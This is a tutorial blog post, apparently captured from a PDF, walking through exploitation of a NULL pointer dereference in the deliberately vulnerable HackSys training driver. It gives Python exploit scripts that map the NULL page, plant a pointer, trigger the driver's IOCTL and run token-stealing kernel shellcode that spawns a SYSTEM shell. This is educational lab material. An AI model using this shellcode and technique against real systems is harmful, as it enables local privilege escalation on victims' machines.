Windows Kernel Exploitation Tutorial Part 5: NULL Pointer Dereference

Download as pdf or txt
Download as pdf or txt
You are on page 1of 7

Menu

Windows Kernel Exploitation Tutorial Part 5:


NULL Pointer Dereference
 January 12, 2018  rootkit

Overview
First of all, a happy new year.

After the exhaustive last part in this series, to start o this new year, this post will be about a lighter, more
easy to understand vulnerability. A null pointer dereference vulnerability exists when the value of the
pointer is NULL, and is used by the application to point to a valid memory area. Immediately, the problem
is clear, as if we are able to control the NULL page, write to that location, we’d get our execution. You’d be
easily able to guess here that we’d be using the same technique to allocate NULL page, and place our
shellcode there as we did in the last part, so this one would rely heavily on the information from that post.

Again, huge thumbs up to @hacksysteam for the driver.

Analysis
Let’s look at the NullPointerDereference.c le:

1 NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {


2     ULONG UserValue = 0;
3     ULONG MagicValue = 0xBAD0B0B0;
4     NTSTATUS Status = STATUS_SUCCESS;
5     PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
6  
7     PAGED_CODE();
8  
9     __try {
10         // Verify if the buffer resides in user mode
11         ProbeForRead(UserBuffer,
12                      sizeof(NULL_POINTER_DEREFERENCE),
13                      (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
14  
15         // Allocate Pool chunk
16         NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
17                                   ExAllocatePoolWithTag(NonPagedPool,
18                                                         sizeof(NULL_POINTER_DEREFERENCE),
19                                                         (ULONG)POOL_TAG);
20  
21         if (!NullPointerDereference) {
22             // Unable to allocate Pool chunk
23             DbgPrint("[-] Unable to allocate Pool chunk\n");
24  
25             Status = STATUS_NO_MEMORY;
26             return Status;
27         }
28         else {
29             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
30             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
31             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
32             DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
33         }
34  
35         // Get the value from user mode
36         UserValue = *(PULONG)UserBuffer;
37  
38         DbgPrint("[+] UserValue: 0x%p\n", UserValue);
39         DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
40  
41         // Validate the magic value
42         if (UserValue == MagicValue) {
43             NullPointerDereference->Value = UserValue;
44             NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
45  
46             DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Val
47             DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->
48         }
49         else {
50             DbgPrint("[+] Freeing NullPointerDereference Object\n");
51             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
52             DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
53  
54             // Free the allocated Pool chunk
55             ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
56  
57             // Set to NULL to avoid dangling pointer
58             NullPointerDereference = NULL;
59         }
60  
61 #ifdef SECURE
62         // Secure Note: This is secure because the developer is checking if
63         // 'NullPointerDereference' is not NULL before calling the callback function
64         if (NullPointerDereference) {
65             NullPointerDereference->Callback();
66         }
67 #else
68         DbgPrint("[+] Triggering Null Pointer Dereference\n");
69  
70         // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
71         // because the developer is not validating if 'NullPointerDereference' is NULL
72         // before calling the callback function
73         NullPointerDereference->Callback();
74 #endif

The code clearly states that a magic value (0xBAD0B0B0) is being compared to the user value, and if they
are not same, then the NullPointerDereference is being set to NULL. We can see that in the secure version,
there’s a check to see if the NullPointerDereference is set to NULL or not. 

A short analysis in IDA shows the same non-paged pool with tag ‘Hack‘, our magic value, and an interesting
o set of 0x4, which is where we’d be writing the pointer to our shellcode.

Also, we get an IOCTL of 0x22202b for this.

Exploitation
Let’s start with our skeleton script:

1 import ctypes, sys, struct


2 from ctypes import *
3 from subprocess import *
4
5 def main():
6     kernel32 = windll.kernel32
7     psapi = windll.Psapi
8     ntdll = windll.ntdll
9     hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
10
11     if not hevDevice or hevDevice == -1:
12         print "*** Couldn't get Device Driver handle"
13         sys.exit(-1)
14
15     buf = "\xb0\xb0\xd0\xba"
16     bufLength = len(buf)
17
18     kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()),
19
20 if __name__ == "__main__":
21     main()

Our magic value doesn’t trigger any exception, as expected. Now let’s try giving something apart from our
magic value.

An exception is raised this time. Fortunately, our machine continues to work ne without any crashes, so
that just saves some time. Thanks to that Try/Except block in the code.

Now, I’d just borrow the code to allocate NULL page from our previous post, and why we are able to do it
is also explained there. The subtle change here would be the o set of 0x4 from the start of the NULL page.

1 import ctypes, sys, struct


2 from ctypes import *
3 from subprocess import *
4
5 def main():
6     kernel32 = windll.kernel32
7     psapi = windll.Psapi
8     ntdll = windll.ntdll
9     hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
10
11     if not hevDevice or hevDevice == -1:
12         print "*** Couldn't get Device Driver handle"
13         sys.exit(-1)
14  
15     shellcode = id("\x90" * 4) + 20
16  
17     null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_
18     if null_status != 0x0:
19             print "\t[+] Failed to allocate NULL page..."
20             sys.exit(-1)
21     else:
22             print "\t[+] NULL Page Allocated"
23  
24     if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, shellcode, 0x40, byref(c_ulong())):
25             print "\t[+] Failed to write at 0x4 location"
26             sys.exit(-1)
27
28     buf = '\x37\x13\xd3\xba'
29     bufLength = len(buf)
30
31     kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()),
32
33 if __name__ == "__main__":
34     main()

Perfect, our shellcode’s pointer is written to the 0x4 location, and shellcode perfectly resides in that
location.

Now, we can borrow the nal shellcode from previous post, x the recovery in the end of the shellcode,
and just see what happens. Final exploit should look like:

1 import ctypes, sys, struct


2 from ctypes import *
3 from subprocess import *
4
5 def main():
6     kernel32 = windll.kernel32
7     psapi = windll.Psapi
8     ntdll = windll.ntdll
9     hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
10
11     if not hevDevice or hevDevice == -1:
12         print "*** Couldn't get Device Driver handle"
13         sys.exit(-1)
14  
15     #Defining the ring0 shellcode and loading it in VirtualAlloc.
16     shellcode = bytearray(
17         "\x90\x90\x90\x90"              # NOP Sled
18         "\x60"                          # pushad
19         "\x64\xA1\x24\x01\x00\x00"      # mov eax, fs:[KTHREAD_OFFSET]
20         "\x8B\x40\x50"                  # mov eax, [eax + EPROCESS_OFFSET]
21         "\x89\xC1"                      # mov ecx, eax (Current _EPROCESS structure)
22         "\x8B\x98\xF8\x00\x00\x00"      # mov ebx, [eax + TOKEN_OFFSET]
23         "\xBA\x04\x00\x00\x00"          # mov edx, 4 (SYSTEM PID)
24         "\x8B\x80\xB8\x00\x00\x00"      # mov eax, [eax + FLINK_OFFSET]
25         "\x2D\xB8\x00\x00\x00"          # sub eax, FLINK_OFFSET
26         "\x39\x90\xB4\x00\x00\x00"      # cmp [eax + PID_OFFSET], edx
27         "\x75\xED"                      # jnz
28         "\x8B\x90\xF8\x00\x00\x00"      # mov edx, [eax + TOKEN_OFFSET]
29         "\x89\x91\xF8\x00\x00\x00"      # mov [ecx + TOKEN_OFFSET], edx
30         "\x61"                          # popad
31         "\xC3"                          # ret
32     )
33  
34     ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40))
35     buff = (c_char * len(shellcode)).from_buffer(shellcode)
36     kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
37  
38     print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr))
39  
40     #Allocating the NULL page, Virtual Address Space: 0x0000 - 0x1000.
41     #The base address is given as 0x1, which will be rounded down to the next host.
42     #We'd be allocating the memory of Size 0x100 (256).
43  
44     print "\n[+] Allocating/Mapping NULL page..."
45  
46     null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_
47     if null_status != 0x0:
48             print "\t[+] Failed to allocate NULL page..."
49             sys.exit(-1)
50     else:
51             print "\t[+] NULL Page Allocated"
52  
53     #Writing the ring0 pointer into the desired location in the mapped NULL page, so as to ca
54  
55     print "\n[+] Writing ring0 pointer {0} in location 0x4...".format(hex(ptr))
56     if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, byref(c_void_p(ptr)), 0x40, byref(c_u
57             print "\t[+] Failed to write at 0x4 location"
58             sys.exit(-1)
59
60     buf = '\x37\x13\xd3\xba'
61     bufLength = len(buf)
62
63     kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()),
64  
65     print "\n[+] nt authority\system shell incoming"
66     Popen("start cmd", shell=True)
67
68 if __name__ == "__main__":
69     main()
Posted in Kernel, Tutorial Tagged Exploitation, Kernel, NULL Pointer Dereference, Tutorial, Windows

 

© rootkit 2018

r0otki7 Popularity Counter: 108951 hits

You might also like